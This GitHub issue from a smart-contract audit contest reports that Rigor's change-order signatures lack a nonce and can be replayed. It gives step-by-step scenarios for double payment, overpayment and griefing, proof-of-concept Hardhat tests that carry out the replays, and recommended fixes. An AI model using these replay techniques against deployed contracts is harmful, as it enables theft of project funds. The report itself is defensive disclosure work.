Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Malicious callers can replay change orders #339

Closed
code423n4 opened this issue Aug 6, 2022 · 1 comment
Closed

Malicious callers can replay change orders #339

code423n4 opened this issue Aug 6, 2022 · 1 comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate This issue or pull request already exists sponsor confirmed Sponsor agrees this is a problem and intends to fix it (OK to use w/ "disagree with severity") valid

Comments

@code423n4
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L386
https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L449
https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/libraries/Tasks.sol#L160

Vulnerability details

Unlike some of the other signature based operations in the Rigor system, change order signatures do not include a nonce
and are vulnerable to replay attacks. A number of exploits are possible using replayed
change orders, including subcontractors extracting multiple payments for the same task, subcontractors extracting excess
payment for a single task, and denial of service/griefing of competing subcontractors to prevent them from completing tasks.

The worst of these attacks require the attacker to engineer or observe specific changes to both tasks and the project budget, e.g.
multiple change orders at different amounts for the same task. However, these conditions do not seem unreasonable in the context
of an active construction project, where change orders are common and tasks often cost more than originally estimated. Moreover,
the more active the project, the more possibilities there will be for a malicious caller to find a sequence of replays that may be exploited.

I've come up with a few examples below, but I suspect there are additional scenarios where change order replays may be exploited
in unexpected ways.

Scenarios

Multiple payments for the same task

In this scenario, the attacker exploits multiple change orders and the state of the project budget to claim payment for a
task multiple times.

  1. Bob, the builder, creates and funds new project with five 1,000 DAI tasks.
  2. Bob invites Mallory, a malicious subcontractor, to complete task 1.
  3. Mallory accepts the invite.
  4. A few days later, Mallory comes to Bob with bad news: the task is more expensive than expected. She will need 10,000 DAI.
  5. Bob and the community agree on the new cost, issue a change order, and fund the project at the higher price.
  6. A few weeks later, Mallory comes to Bob with great news: she didn't need all that extra cash and the task is going to
    come in under budget! She will only need 3,000 DAI. Since Mallory is establishing a trusted subcontractor relationship with Bob,
    and may be bidding for other tasks, it's in her interest to allow the project to reclaim and reallocate the excess amount.
  7. Bob issues a change order for the reduced amount and the excess is reclaimed.
  8. Bob and Mallory agree the task is complete, and sign and submit a setComplete transaction. Mallory is paid 3,000 DAI.
  9. The project continues. Like all construction projects, Bob discovers additional unplanned tasks that need funding.
  10. Before Bob calls addTasks to create these additional tasks, Mallory calls changeOrder and replays the 10,000 DAI change
    order from step 4. (If Mallory is a sophisticated attacker, she may watch for Bob's transaction in the mempool and frontrun
    it, or perhaps she just follows project updates off chain and has knowledge of when Bob will add more tasks).
  11. If the current amount lent to the project is insufficent to cover the replayed task, Mallory's already completed task will
    be marked unapproved
    and transition back to the Inactive state when the change order is replayed.
  12. Once Bob funds the project for the tasks in step 10, Mallory can accept task 1 again. Since change orders are funded before
    new tasks, her task will become Active and funded.
  13. Mallory can now replay the setComplete transaction from step 8 to complete task 1 for a second time and extract 10,000 DAI.
    Mallory has extracted 13,000 DAI total rather than 3,000 DAI for task 1.

Impact: Malicious subcontractors may complete tasks multiple times to steal project funds from other tasks. If a given task
has had multiple change orders at multiple prices, this attack may be repeated multiple times.

Excess payment for a single task

Steps 1-7 here are the same as the previous example: Mallory engineers a scenario where a task has multiple change orders at
different total costs. This attack is easier because she does not need to monitor the project budget to force her task into
the unapproved state. Instead, she simply claims payment for the task once at the higher price.

  1. Bob, the builder, creates and funds new project with five 1,000 DAI tasks.
  2. Bob invites Mallory, a malicious subcontractor, to complete task 1.
  3. Mallory accepts the invite.
  4. A few days later, Mallory comes to Bob with bad news: the task is more expensive than expected. She will need 10,000 DAI.
  5. Bob and the community agree on the new cost, issue a change order, and fund the project at the higher price.
  6. A few weeks later, Mallory comes to Bob with great news: she didn't need all that extra cash and the task is going to
    come in under budget! She will only need 3,000 DAI. Since Mallory is establishing a trusted subcontractor relationship with Bob,
    and may be bidding for other tasks, it's in her interest to allow the project to reclaim and reallocate the excess amount.
  7. Bob issues a change order for the reduced amount and the excess is reclaimed.
  8. Mallory waits for Bob to add new tasks and increase the project budget.
  9. Bob and Mallory agree that task 1 is complete, and sign and submit a setComplete transaction.
  10. Mallory frontruns the setComplete transaction, replays the 10,000 DAI change order from step 4, and re-accepts the task.
  11. Mallory extracts 10,000 DAI rather than 3,000 DAI for task 1.

Impact: Malicious subcontractors may extract more payment than agreed for a specific task by replaying past change orders.

Denial of service/griefing of subcontractors

In this scenario, a malicious user can replay past change orders to block or grief an honest subcontractor claiming payment.

  1. Bob, the builder, creates and funds new project.
  2. Bob invites Alice, an honest subcontractor, to complete task 1.
  3. Alice accepts the invite.
  4. Over the course of the task, Bob issues multiple change orders that change the cost of task 1.
  5. Eve, a malicious user, observes Bob's change order signatures.
  6. Alice completes the task, signs with Bob, and submits a setComplete transaction.
  7. Eve frontruns the setComplete transaction and replays a previous change order.
    7a. If the cost of the replayed change order is above the final cost of the task, Alice may be blocked from claiming payment.
    7b. If the cost of the replayed change order is below the final cost of the task, Alice will receive less payment than agreed.

Impact: Honest contractors may be blocked from accepting payment or griefed by malicious users replaying change orders.

Test cases

Add the following examples to test/utils/projectTests.ts.

Multiple payments

it('change order double payment replay attack', async () => {
    // Our project has five tasks
    const hashArray = ['0x', '0x', '0x', '0x', '0x'];
    const costArray = [taskCost, taskCost, taskCost, taskCost, taskCost];
    const addTasksData = {
      types: ['bytes[]', 'uint256[]', 'uint256', 'address'],
      values: [
        hashArray,
        costArray,
        await project.taskCount(),
        project.address,
      ],
    };
    const [encodedAddTasksData, addTasksSignature] = await multisig(
      addTasksData,
      [signers[0]],
    );

    const tx = await project.addTasks(encodedAddTasksData, addTasksSignature);
    await expect(tx)
      .to.emit(project, 'TasksAdded')
      .withArgs(costArray, hashArray);

    expect(await project.taskCount()).to.equal(5);
    let { cost, subcontractor, state } = await project.getTask(1);
    expect(cost).to.equal(costArray[0]);
    expect(subcontractor).to.equal(ethers.constants.AddressZero);
    expect(state).to.equal(1);

    // Invite a subcontractor
    const scList = [signers[2].address];

    const inviteSCTx = await project.inviteSC([1], scList);
    await inviteSCTx.wait();

    // Subcontractor accepts invite
    const acceptInviteTx = await project
      .connect(signers[2])
      .acceptInviteSC([1]);
    await acceptInviteTx.wait();

    // Lender funds full project amount, 5 * taskCost
    const lendingAmount = taskCost * 5;
    await mockDAIContract.mock.transferFrom
      .withArgs(signers[0].address, project.address, lendingAmount)
      .returns(true);
    const lendToProjectTx = await project.lendToProject(lendingAmount);
    await lendToProjectTx.wait();

    // Oops, these hardwood floors are gonna cost a lot
    // more than we thought!
    // Issue a change order for task 1 that increases the cost
    const sc = signers[2].address;
    let newCost = taskCost * 10;
    const projectAddress = project.address;
    const changeOrder1Data = {
      types: ['uint256', 'address', 'uint256', 'address'],
      values: [1, sc, newCost, projectAddress],
    };
    const [encodedChangeOrder1Data, changeOrder1Signature] = await multisig(
      changeOrder1Data,
      [signers[0], signers[2]],
    );

    await mockDAIContract.mock.transfer.returns(true);
    const changeOrder1Tx = await project.changeOrder(
      encodedChangeOrder1Data,
      changeOrder1Signature,
    );
    await changeOrder1Tx.wait();

    await expect(changeOrder1Tx)
      .to.emit(project, 'ChangeOrderFee')
      .withArgs(1, newCost);
    let taskDetails = await project.getTask(1);
    expect(taskDetails.cost).to.equal(newCost);
    expect(taskDetails.subcontractor).to.equal(sc);
    expect(taskDetails.state).to.equal(1);

    // Re-invite subcontractor
    const inviteSCTx2 = await project.inviteSC([1], scList);
    await inviteSCTx2.wait();

    // Accept invite
    const acceptInviteTx2 = await project
      .connect(signers[2])
      .acceptInviteSC([1]);
    await acceptInviteTx2.wait();

    // Fully fund project for increased cost
    const increasedLendingAmount = taskCost * 9;
    await mockDAIContract.mock.transferFrom
      .withArgs(signers[0].address, project.address, increasedLendingAmount)
      .returns(true);
    const lendToProjectTx2 = await project.lendToProject(
      increasedLendingAmount,
    );
    await lendToProjectTx2.wait();

    // Hey boss, good news from your subcontractor! We're under budget.
    // Issue a change order for task 1 that decreases the cost
    newCost = taskCost * 3;
    const changeOrder2Data = {
      types: ['uint256', 'address', 'uint256', 'address'],
      values: [1, sc, newCost, projectAddress],
    };
    const [encodedChangeOrder2Data, changeOrder2Signature] = await multisig(
      changeOrder2Data,
      [signers[0], signers[2]],
    );

    await mockDAIContract.mock.transfer.returns(true);
    const changeOrder2Tx = await project.changeOrder(
      encodedChangeOrder2Data,
      changeOrder2Signature,
    );
    await changeOrder2Tx.wait();

    await expect(changeOrder2Tx)
      .to.emit(project, 'ChangeOrderFee')
      .withArgs(1, newCost);
    taskDetails = await project.getTask(1);
    expect(taskDetails.cost).to.equal(newCost);
    expect(taskDetails.subcontractor).to.equal(sc);
    expect(taskDetails.state).to.equal(2);

    // Subcontractor completes task at 5x cost
    const setCompleteData = {
      types: ['uint256', 'address'],
      values: [1, projectAddress],
    };
    const [encodedSetCompleteData, setCompleteSignature] = await multisig(
      setCompleteData,
      [signers[0], signers[2]],
    );

    const setCompleteTx = await project.setComplete(
      encodedSetCompleteData,
      setCompleteSignature,
    );
    await expect(setCompleteTx).to.emit(project, 'TaskComplete').withArgs(1);

    // Subcontractor 1 replays 10x change order
    await mockDAIContract.mock.transfer.returns(true);
    const changeOrderReplayTx = await project
      .connect(signers[2])
      .changeOrder(encodedChangeOrder1Data, changeOrder1Signature);
    await changeOrderReplayTx.wait();

    taskDetails = await project.getTask(1);
    expect(taskDetails.cost).to.equal(taskCost * 10);
    expect(taskDetails.subcontractor).to.equal(sc);
    expect(taskDetails.state).to.equal(1);

    const allocateTx = await project.connect(signers[2]).allocateFunds();
    await allocateTx.wait();

    const taskHashes = ['0x', '0x', '0x', '0x', '0x'];
    const taskCosts = [taskCost, taskCost, taskCost, taskCost, taskCost];
    const extraTasksData = {
      types: ['bytes[]', 'uint256[]', 'uint256', 'address'],
      values: [
        taskHashes,
        taskCosts,
        await project.taskCount(),
        project.address,
      ],
    };
    const [encodedAddExtraTasksData, addExtraTasksSignature] = await multisig(
      extraTasksData,
      [signers[0]],
    );

    const addExtraTasksTx = await project.addTasks(
      encodedAddExtraTasksData,
      addExtraTasksSignature,
    );
    await addExtraTasksTx.wait();

    // Fully fund project for increased cost of new tasks
    await mockDAIContract.mock.transferFrom
      .withArgs(signers[0].address, project.address, taskCost * 5)
      .returns(true);
    const lendToProjectTx3 = await project.lendToProject(
      increasedLendingAmount,
    );
    await lendToProjectTx3.wait();

    // Accept invite
    const acceptInviteTx4 = await project
      .connect(signers[2])
      .acceptInviteSC([1]);
    await acceptInviteTx4.wait();

    // Contractor 2 replays setComplete
    // Contractor 2 has completed task 1 twice, and claimed payment
    // at both the 5x and 10x cost.
    const setCompleteReplayTx = await project
      .connect(signers[2])
      .setComplete(encodedSetCompleteData, setCompleteSignature);
    await expect(setCompleteReplayTx)
      .to.emit(project, 'TaskComplete')
      .withArgs(1);
  });

Excess payment

  it('change order frontrun replay attack', async () => {
    // Add 5 tasks with equal cost
    const hashArray = ['0x', '0x', '0x', '0x', '0x'];
    const costArray = [taskCost, taskCost, taskCost, taskCost, taskCost];
    const addTasksData = {
      types: ['bytes[]', 'uint256[]', 'uint256', 'address'],
      values: [
        hashArray,
        costArray,
        await project.taskCount(),
        project.address,
      ],
    };
    const [encodedAddTasksData, addTasksSignature] = await multisig(
      addTasksData,
      [signers[0]],
    );

    const tx = await project.addTasks(encodedAddTasksData, addTasksSignature);
    await expect(tx)
      .to.emit(project, 'TasksAdded')
      .withArgs(costArray, hashArray);

    expect(await project.taskCount()).to.equal(5);
    let { cost, subcontractor, state } = await project.getTask(1);
    expect(cost).to.equal(costArray[0]);
    expect(subcontractor).to.equal(ethers.constants.AddressZero);
    expect(state).to.equal(1);

    // Invite subcontractor
    const scList = [signers[2].address];

    const inviteSCTx = await project.inviteSC([1], scList);
    await inviteSCTx.wait();

    // Accept invite
    const acceptInviteTx = await project
      .connect(signers[2])
      .acceptInviteSC([1]);
    await acceptInviteTx.wait();

    // Fully fund project for all five tasks
    const lendingAmount = taskCost * 5;
    await mockDAIContract.mock.transferFrom
      .withArgs(signers[0].address, project.address, lendingAmount)
      .returns(true);
    const lendToProjectTx = await project.lendToProject(lendingAmount);
    await lendToProjectTx.wait();

    // Change order for task 1 increases cost
    const sc = signers[2].address;
    let newCost = taskCost * 5; // 5x cost of task
    const projectAddress = project.address;
    const changeOrder1Data = {
      types: ['uint256', 'address', 'uint256', 'address'],
      values: [1, sc, newCost, projectAddress],
    };
    const [encodedChangeOrder1Data, changeOrder1Signature] = await multisig(
      changeOrder1Data,
      [signers[0], signers[2]],
    );

    await mockDAIContract.mock.transfer.returns(true);
    const changeOrder1Tx = await project.changeOrder(
      encodedChangeOrder1Data,
      changeOrder1Signature,
    );
    await changeOrder1Tx.wait();

    await expect(changeOrder1Tx)
      .to.emit(project, 'ChangeOrderFee')
      .withArgs(1, newCost);
    let taskDetails = await project.getTask(1);
    expect(taskDetails.cost).to.equal(newCost);
    expect(taskDetails.subcontractor).to.equal(sc);
    expect(taskDetails.state).to.equal(1);

    // Change order for task 1 decreases cost back to previous value
    newCost = taskCost;
    const changeOrder2Data = {
      types: ['uint256', 'address', 'uint256', 'address'],
      values: [1, sc, newCost, projectAddress],
    };
    const [encodedChangeOrder2Data, changeOrder2Signature] = await multisig(
      changeOrder2Data,
      [signers[0], signers[2]],
    );

    await mockDAIContract.mock.transfer.returns(true);
    const changeOrder2Tx = await project.changeOrder(
      encodedChangeOrder2Data,
      changeOrder2Signature,
    );
    await changeOrder2Tx.wait();

    await expect(changeOrder2Tx)
      .to.emit(project, 'ChangeOrderFee')
      .withArgs(1, newCost);
    taskDetails = await project.getTask(1);
    expect(taskDetails.cost).to.equal(newCost);
    expect(taskDetails.subcontractor).to.equal(sc);
    expect(taskDetails.state).to.equal(1);

    // Builder adds and funds new tasks
    const taskHashes = ['0x', '0x', '0x', '0x', '0x'];
    const taskCosts = [taskCost, taskCost, taskCost, taskCost, taskCost];
    const extraTasksData = {
      types: ['bytes[]', 'uint256[]', 'uint256', 'address'],
      values: [
        taskHashes,
        taskCosts,
        await project.taskCount(),
        project.address,
      ],
    };
    const [encodedAddExtraTasksData, addExtraTasksSignature] = await multisig(
      extraTasksData,
      [signers[0]],
    );

    const addExtraTasksTx = await project.addTasks(
      encodedAddExtraTasksData,
      addExtraTasksSignature,
    );
    await addExtraTasksTx.wait();

    // Sign setComplete message
    const setCompleteData = {
      types: ['uint256', 'address'],
      values: [1, projectAddress],
    };
    const [encodedSetCompleteData, setCompleteSignature] = await multisig(
      setCompleteData,
      [signers[0], signers[2]],
    );

    // Subcontractor replays previous change order
    await mockDAIContract.mock.transfer.returns(true);
    const changeOrderReplayTx = await project.changeOrder(
      encodedChangeOrder1Data,
      changeOrder1Signature,
    );
    await changeOrderReplayTx.wait();

    await expect(changeOrderReplayTx)
      .to.emit(project, 'ChangeOrderFee')
      .withArgs(1, newCost * 5);
    taskDetails = await project.getTask(1);
    expect(taskDetails.cost).to.equal(newCost * 5);
    expect(taskDetails.subcontractor).to.equal(sc);
    expect(taskDetails.state).to.equal(1);

    // Accept invite
    const acceptInviteTx2 = await project
      .connect(signers[2])
      .acceptInviteSC([1]);
    await acceptInviteTx2.wait();

    // Subcontractor completes task at higher cost
    const setCompleteTx = await project.setComplete(
      encodedSetCompleteData,
      setCompleteSignature,
    );
    await expect(setCompleteTx).to.emit(project, 'TaskComplete').withArgs(1);
  });

Dos/Griefing

  it('change order DoS attack', async () => {
    // Add 5 tasks with equal cost
    const hashArray = ['0x', '0x', '0x', '0x', '0x'];
    const costArray = [taskCost, taskCost, taskCost, taskCost, taskCost];
    const addTasksData = {
      types: ['bytes[]', 'uint256[]', 'uint256', 'address'],
      values: [
        hashArray,
        costArray,
        await project.taskCount(),
        project.address,
      ],
    };
    const [encodedAddTasksData, addTasksSignature] = await multisig(
      addTasksData,
      [signers[0]],
    );

    const tx = await project.addTasks(encodedAddTasksData, addTasksSignature);
    await expect(tx)
      .to.emit(project, 'TasksAdded')
      .withArgs(costArray, hashArray);

    expect(await project.taskCount()).to.equal(5);
    let { cost, subcontractor, state } = await project.getTask(1);
    expect(cost).to.equal(costArray[0]);
    expect(subcontractor).to.equal(ethers.constants.AddressZero);
    expect(state).to.equal(1);

    // Invite subcontractor
    const scList = [signers[2].address];

    const inviteSCTx = await project.inviteSC([1], scList);
    await inviteSCTx.wait();

    // Accept invite
    const acceptInviteTx = await project
      .connect(signers[2])
      .acceptInviteSC([1]);
    await acceptInviteTx.wait();

    // Fully fund project for all five tasks
    const lendingAmount = taskCost * 5;
    await mockDAIContract.mock.transferFrom
      .withArgs(signers[0].address, project.address, lendingAmount)
      .returns(true);
    const lendToProjectTx = await project.lendToProject(lendingAmount);
    await lendToProjectTx.wait();

    // Change order for task 1 increases cost
    const sc = signers[2].address;
    let newCost = taskCost * 5; // 5x cost of task
    const projectAddress = project.address;
    const changeOrder1Data = {
      types: ['uint256', 'address', 'uint256', 'address'],
      values: [1, sc, newCost, projectAddress],
    };
    const [encodedChangeOrder1Data, changeOrder1Signature] = await multisig(
      changeOrder1Data,
      [signers[0], signers[2]],
    );

    await mockDAIContract.mock.transfer.returns(true);
    const changeOrder1Tx = await project.changeOrder(
      encodedChangeOrder1Data,
      changeOrder1Signature,
    );
    await changeOrder1Tx.wait();

    await expect(changeOrder1Tx)
      .to.emit(project, 'ChangeOrderFee')
      .withArgs(1, newCost);
    let taskDetails = await project.getTask(1);
    expect(taskDetails.cost).to.equal(newCost);
    expect(taskDetails.subcontractor).to.equal(sc);
    expect(taskDetails.state).to.equal(1);

    // Change order for task 1 decreases cost back to previous value
    newCost = taskCost;
    const changeOrder2Data = {
      types: ['uint256', 'address', 'uint256', 'address'],
      values: [1, sc, newCost, projectAddress],
    };
    const [encodedChangeOrder2Data, changeOrder2Signature] = await multisig(
      changeOrder2Data,
      [signers[0], signers[2]],
    );

    await mockDAIContract.mock.transfer.returns(true);
    const changeOrder2Tx = await project.changeOrder(
      encodedChangeOrder2Data,
      changeOrder2Signature,
    );
    await changeOrder2Tx.wait();

    await expect(changeOrder2Tx)
      .to.emit(project, 'ChangeOrderFee')
      .withArgs(1, newCost);
    taskDetails = await project.getTask(1);
    expect(taskDetails.cost).to.equal(newCost);
    expect(taskDetails.subcontractor).to.equal(sc);
    expect(taskDetails.state).to.equal(1);

    // Sign setComplete message
    const setCompleteData = {
      types: ['uint256', 'address'],
      values: [1, projectAddress],
    };
    const [encodedSetCompleteData, setCompleteSignature] = await multisig(
      setCompleteData,
      [signers[0], signers[2]],
    );

    // Griefer replays previous change order
    await mockDAIContract.mock.transfer.returns(true);
    const changeOrderReplayTx = await project
      .connect(signers[3])
      .changeOrder(encodedChangeOrder1Data, changeOrder1Signature);
    await changeOrderReplayTx.wait();

    await expect(changeOrderReplayTx)
      .to.emit(project, 'ChangeOrderFee')
      .withArgs(1, newCost * 5);
    taskDetails = await project.getTask(1);
    expect(taskDetails.cost).to.equal(newCost * 5);
    expect(taskDetails.subcontractor).to.equal(sc);
    expect(taskDetails.state).to.equal(1);

    // Replay has marked task inactive, subcontractor 2 cannot claim.
    const setCompleteTx = await project.setComplete(
      encodedSetCompleteData,
      setCompleteSignature,
    );
    await expect(setCompleteTx).to.be.revertedWith('Task::!Active');
  });

Recommendation

I recommend several defense-in-depth changes to prevent these scenarios.

First and most important, add a nonce to change order data and verify it in changeOrder, similar to the implementation in other functions lke updateTaskHash:

Project#changeOrder:

     // Decode params from _data
        (
            uint256 _taskID,
            address _newSC,
            uint256 _newCost,
            address _project,
            uint256 _nonce
        ) = abi.decode(_data, (uint256, address, uint256, address, uint256));
        
    // Revert if decoded nonce is incorrect. This indicates wrong data.
    require(_nonce == changeOrderNonce, "Project::!Nonce");
    changeOrderNonce++;

Second, prevent Completed tasks from transitioning back to other states:

Tasks#unApprove

    function unApprove(Task storage _self) internal {
        // State/ lifecycle //
        require(_self.state != TaskStatus.Complete, 'cannot unapprove completed task');
        _self.alerts[uint256(Lifecycle.SCConfirmed)] = false;
        _self.state = TaskStatus.Inactive;
    }

(You may also be able to do this using the onlyActive modifier).

Finally, if third parties are not intended to submit signatures on behalf of the builder/contractor/subcontractor,
ensure that _msgSender() matches one of the recovered message signers in checkSignatureTask:

Project#checkSignatureTask

    function checkSignatureTask(
        bytes calldata _data,
        bytes calldata _signature,
        uint256 _taskID
    ) internal {
        // Calculate hash from bytes
        bytes32 _hash = keccak256(_data);

        // Local instance of subcontractor. To save gas.
        address _sc = tasks[_taskID].subcontractor;

        // When there is no contractor
        if (contractor == address(0)) {
            // Just check for B and SC sign
            checkSignatureValidity(builder, _hash, _signature, 0);
            checkSignatureValidity(_sc, _hash, _signature, 1);
            require(_msgSender() == builder || _msgSender() == _sc, 'Not a signer');
        }
        // When there is a contractor
        else {
            // When builder has delegated his rights to contractor
            if (contractorDelegated) {
                // Check for GC and SC sign
                checkSignatureValidity(contractor, _hash, _signature, 0);
                checkSignatureValidity(_sc, _hash, _signature, 1);
                require(_msgSender() == contractor || _msgSender() == _sc, 'Not a signer');
            }
            // When builder has not delegated rights to contractor
            else {
                // Check for B, SC and GC signatures
                checkSignatureValidity(builder, _hash, _signature, 0);
                checkSignatureValidity(contractor, _hash, _signature, 1);
                checkSignatureValidity(_sc, _hash, _signature, 2);
                require(_msgSender() == builder || _msgSender() == contractor || _msgSender() == _sc, 'Not a signer');
            }
        }
    }
@code423n4 code423n4 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Aug 6, 2022
code423n4 added a commit that referenced this issue Aug 6, 2022
@0xA5DF
Copy link

0xA5DF commented Aug 11, 2022

Duplicate of #95

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate This issue or pull request already exists sponsor confirmed Sponsor agrees this is a problem and intends to fix it (OK to use w/ "disagree with severity") valid
Projects
None yet
Development

No branches or pull requests

4 participants